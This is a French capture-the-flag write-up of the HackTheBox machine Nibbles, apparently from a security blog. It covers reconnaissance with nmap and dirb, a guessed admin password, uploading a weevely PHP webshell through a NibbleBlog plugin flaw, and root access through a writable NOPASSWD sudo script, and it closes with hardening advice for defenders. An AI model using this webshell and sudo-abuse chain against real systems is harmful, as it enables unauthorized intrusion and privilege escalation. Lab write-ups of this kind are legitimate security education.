Skip to content

HackTheBox – Nibbles : contrôle d'accès, shell upload et sudo

Je vous propose dans cet article la solution de la machine virtuelle Nibbles qui provient de la plateforme HackTheBox.

HackTheBox est une plateforme de challenge qui propose, pour une durée limitée, des machines virtuelles vulnérables à attaquer. L’objectif pour chaque VM est d’obtenir deux flags, un user.txt et un root.txt. Je profiterai de cet article pour mettre en avant le »leçons » à tirer pour les défenseurs comme pour les attaquants.

Cette machine virtuelle ayant été retirée de la plateforme, je peux à présent publier sa solution.

I. Découverte et reconnaissance

On commence donc par la phase classique de découverte qui permet de dessiner la surface d’attaque de la machine :

nmap -sS -sV 10.10.10.75
Starting Nmap 7.60 ( https://nmap.org ) at 2018-04-07 11:41 CEST
Nmap scan report for 10.10.10.75
Host is up (0.027s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.39 seconds

Seuls deux ports sont ouverts, un pour l’administration au travers un service SSH, un autre pour l’accès à un service web. On peut donc se rendre sur ce service web.
Rien d’intéressant, cependant le code source de la page nous révèle un commentaire qui nous permet de trouver un répertoire valide sur ce service web : http://10.10.10.75/nibbleblog/ :

Il s’agit visiblement d’un blog généré par le CMS « NibbleBlog » comme le montre le pied de page. Ce type d’information peut en général se trouver également dans le code source de la page, dans lequel on peut trouver le numéro de version, c’est par exemple le cas pour WordPress. Cela nous fournit un indicateur supplémentaire sur les vulnérabilités connues potentiellement présentes.

II. Recherche de vulnérabilités

Quelques recherches sur le CMS NibbleBlog permettent de trouver des exploits publics, notamment un shell upload (https://packetstormsecurity.com/files/133425/NibbleBlog-4.0.3-Shell-Upload.html) qui nécessite cependant un accès authentifié. Il est à noter que, n’ayant pas connaissance de la version du CMS utilisé, on ne peut pour l’instant déterminer si cette instance est effectivement vulnérable. Également, des accès aux fichiers « génériques » type /changelog, /license, /version, ne donnent rien, sauf pour le fichier /README qui me donne l’information recherchée :

On peut donc affirmer que le CMS cible est bien vulnérable à l’exploitation du shell upload trouvé précédemment. Il nous faut maintenant trouver l’accès authentifié nécessaire à son exploitation.

Je fais appel à l’outil dirb, qui permet d’effectuer un fuzzing sur les noms de répertoires et de fichiers afin d’énumérer ceux existant sur la plateforme ciblée :

# dirb http://10.10.10.75/nibbleblog/
http://10.10.10.75/nibbleblog/admin/
http://10.10.10.75/nibbleblog/admin.php
http://10.10.10.75/nibbleblog/content/
http://10.10.10.75/nibbleblog/admin.php?controller=user&action=send_forgot

Le dossier /content/ semble intéressant, on note également la présence d’un directory Listing (Qu’est ce que le Directory Browsing/Listing ?) qu permet de lister tous les fichiers et répertoires présents dans répertoire /content et ses sous-dossiers.
Après approfondissement manuel, je découvre le fichier /private/content/users.xml qui semble contenir les tentatives d’authentification récentes pour chaque utilisateur, et les noms de ces utilisateurs :
Cette découverte permet de confirmer l’existence d’un compte utilisateur « admin », ce qui constitue déjà une première information utile dans le cadre d’une attaque par brute force sur le formulaire d’authentification. Celui-ci n’est d’ailleurs pas difficile à trouver :

III. Exploitation & flag user

Généralement, les attaques par brute force s’opèrent en deux phases :

  • une première, manuelle, qui consiste à tester les cas les plus triviaux et à constater ou non la présence de mécanismes anti brute force (ratio de requête/secondes, blocage de compte, blocage d’IP, etc.) ;
  • une seconde phase, qui passe par l’utilisation d’un outil d’automatisation. Cette seconde étape ne sera pas utile ici car le mot de passe est assez simple (un peu de guessing tout de même) : nibbles (nom de la machine virtuelle, et du CMS), cela est hélas très réaliste.

On parvient donc à obtenir un accès authentifié avec le couple identifiant/mot de passe suivant : admin/nibbles. Nous pouvons à présent tenter d’exploiter la vulnérabilité shell upload, qui nécessite de se rendre dans la partie Plugins > My Image :
Cette vulnérabilité exploite un manque de contrôle concernant le format, la structure et l’extension des fichiers téléversés sur la plateforme. Le formulaire vulnérable est fait pour téléverser des images, mais ne fait aucune vérification permettant de confirmer que le fichier proposé par l’utilisateur est bien une image. On peut donc en profiter pour créer et écrire sur le serveur d’autres types de fichier, dont des scripts PHP permettant l’exécution de code sur le serveur (un webshell).

On peut ici utiliser weevely, outil permettant la génération de webshell PHP obfusqué. Weevely est déjà présent sur les systèmes KaliLinux, la commande permettant de générer un webshell est la suivante :

root@kali:~# weevely generate password1234 /tmp/wee01.php
Generated backdoor with password 'password1234' in './wee01.php' of 1466 byte size.

Ici, l’option generate permet d’indiquer que l’on souhaite créer un webshell, le « password1234 » est le mot de passe à indiquer pour « protéger » votre webshell (la sécurité avant tout 😉 ) et s’ensuit le chemin et nom du fichier créé. Notez également la structure du code, qui n’est pas facile à comprendre car offusqué :
On peut donc téléverser ce fichier en se rendant dans le panneau d’administration > Plugins > My Images > Configure. La lecture de l’exploit sur Packet Storm Security nous apprend que le fichier en question sera ensuite joignable via l’URL suivante :

http://10.10.10.75/nibbleblog/content/private/plugins/my_image/image.php

Sans cette information, nous aurions dû procéder d’abord à un téléversement d’une image au bon format, puis tenter d’accéder à cette image pour connaitre son répertoire de stockage, mais également son nom (à-t-elle été renommée ? son extension est-elle modifiée ? etc.). On utilisera ensuite la commande weevely qui nous permettra de nous connecter à ce webshell :

root@kali~/Downloads# weevely http://10.10.10.75/nibbleblog/content/private/plugins/my_image/image.php password1234

Nous voila donc connecté à notre shell weevely, nous pouvons débuter une nouvelle mini-phase de reconnaissance depuis l’intérieur du système :

[+] weevely 3.2.0
[+] Target:        10.10.10.75
[+] Session:        /root/.weevely/sessions/10.10.10.75/image_0.session
[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.
weevely> ls
 db.xml
 image.jpg
 image.php

Nous avons à présent un accès via shell interactif à la machine.On trouve donc ici, en listant le contenu du répertoire /home/, le nom d’utilisateur nibbler, son home contient d’ailleurs le fichier user.txt, premier flag à trouver de ce challenge.

weevely> ls /home
nibbler
nibbler@Nibbles:/var/www/html/nibbleblog/content/private/plugins/my_image $ ls /home -al
total 12
drwxr-xr-x 3 root root 4096 Dec 10 21:57 .
drwxr-xr-x 23 root root 4096 Dec 28 05:57 ..
drwxr-xr-x 4 nibbler nibbler 4096 Apr 7 05:48 nibbler
nibbler@Nibbles:/var/www/html/nibbleblog/content/private/plugins/my_image $ ls /home/nibbler -al
total 28
drwxr-xr-x 4 nibbler nibbler 4096 Apr 7 05:48 .
drwxr-xr-x 3 root root 4096 Dec 10 21:57 ..
-rw------- 1 nibbler nibbler 0 Dec 29 05:29 .bash_history
drwxrwxr-x 2 nibbler nibbler 4096 Dec 10 22:04 .nano
-rw-r--r-- 1 nibbler nibbler 77 Apr 7 05:18 monitor.sh
drwxr-xr-x 3 nibbler nibbler 4096 Dec 10 21:58 personal
-r-------- 1 nibbler nibbler 1855 Dec 10 22:07 personal.zip
-r-------- 1 nibbler nibbler 33 Dec 10 22:35 user.txt

Un cat sur ce fichier nous renvoie le flag en question, ce qui confirme que nous sommes bien connecté en tant que nibbler sur le système :

nibbler@Nibbles:/var/www/html/nibbleblog/content/private/plugins/my_image $ cat /home/nibbler/user.txt
 b02fXXXXXXXXXXXXXc8d8

III. Post exploitation & flag root

Démarre à présent la phase de post-exploitation, qui va consister à élever nos privilèges sur le système, notamment via l’accès au compte root ou à d’autres comptes privilégiés. L’une des phases de la post-exploitation sous Linux est notamment de consulter la configuration sudo pour l’utilisateur courant, qui peut par exemple permettre l’ajout d’exceptions particulières d’exécution de commandes avec des droits privilégiés (ou au moins ceux d’un autre utilisateur) :

nibbler@Nibbles:/home/nibbler/personal/stuff $ sudo -l
sudo: unable to resolve host Nibbles: Connection timed out
 Matching Defaults entries for nibbler on Nibbles:
 env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User nibbler may run the following commands on Nibbles:
 (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh

On constate effectivement que l’utilisateur nibbler peut exécuter le script personal/stuff/monitor.sh avec les droits de l’utilisateur root sans avoir à saisir de mot de passe supplémentaire (directive root NOPASSWD). Intéressant, notamment lorsque l’on constate que ce même utilisateur peut modifier librement le contenu de ce script :

nibbler@Nibbles:/home/nibbler/personal/stuff $ cd /home/nibbles/
nibbler@Nibbles:/home/nibbler/personal/stuff $ unzip personal.zip
nibbler@Nibbles:/home/nibbler/personal/stuff $ cd personal/stuff
nibbler@Nibbles:/home/nibbler/personal/stuff $ vim monitor.sh

On efface donc intégralement le contenu de ce script afin de le remplacer par un simple :

cat /root/root.txt

Puis on exécute ce dernier à l’aide de la commande sudo afin de profiter de l’exception qui nous est accordée :

nibbler@Nibbles:/home/nibbler/personal/stuff $ sudo /home/nibbler/personal/stuff/monitor.sh
 sudo: unable to resolve host Nibbles: Connection timed out
 b6d745c0dfb6457c55591efc898ef88c

Et voila ! Nous sommes root !

IV. Points à retenir

Quelques recommandations et bonnes pratiques que nous pouvons tirer de l’exploitation de cette machine virtuelle :
Côté attaquant :

  • Effectuer une énumération des répertoires présents sur le site web mais non directement référencés (c’est à dire pointés par un lien dans une page web) apporte souvent de nouvelles pistes à creuser. Les commentaires peuvent également être une source d’informations intéressante, ils sont généralement dédiés aux développeurs /administrateurs et non aux utilisateurs.
  • L’obtention d’un maximum d’informations sur la cible permet de parfaire ses attaques et de viser juste sans trop d’essais. Les noms de technologies et notamment leurs versions sont des informations précieuses, au même titre que les noms (identifiant/adresse mail) des utilisateurs valides sur un site web.
  • La phase de reconnaissance interne après une première exploitation réussie doit être la plus complète possible afin d’envisager toutes les post-exploitations disponibles. Les exceptions accordées, notamment via sudo ou polkit, sont souvent un vecteur privilégié d’élévation de privilège.

Côte défenseur :

  • Il est important de dissimuler au maximum les noms de technologies et versions utilisées afin d’éviter de donner trop d’informations utiles à l’attaquant.
  • Le durcissement des services web doit être systématique, ce durcissement doit notamment prendre en compte la désactivation du directory listing, les fichiers et pages contenants des données sensibles doivent être protégés par une authentification.
  • Les formulaires de téléversement de fichiers doivent vérifier strictement les types et formats de fichiers chargés par les utilisateurs, cela passe par une vérification du type MIME, de l’extension, et de la structure interne du fichier. Également, il est préférable de stocker ces fichiers en les renommant (nom et extension) et dans un répertoire non exécutable (ce qui évitera d’exécuter les instructions PHP contenues dans un script ayant malgré tout été téléversé).
  • Les mises à jour sont à appliquer régulièrement, notamment sur les services exposés sur Internet. Celles-ci permettent d’appliquer au plus vite les correctifs éditeurs en cas  de vulnérabilité connues avec exploits publics.
  • L’utilisation de mots de passe robustes doit être systématique, notamment pour les accès d’administration.
  • Les droits sudo doivent être accordés avec une extrême prudence et doivent être le plus restrictifs possibles afin d’éviter tout débordement. Généralement, l’instruction NOPASSWD est à bannir.
Partager :
Published inChallenges et CTFs

Be First to Comment

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *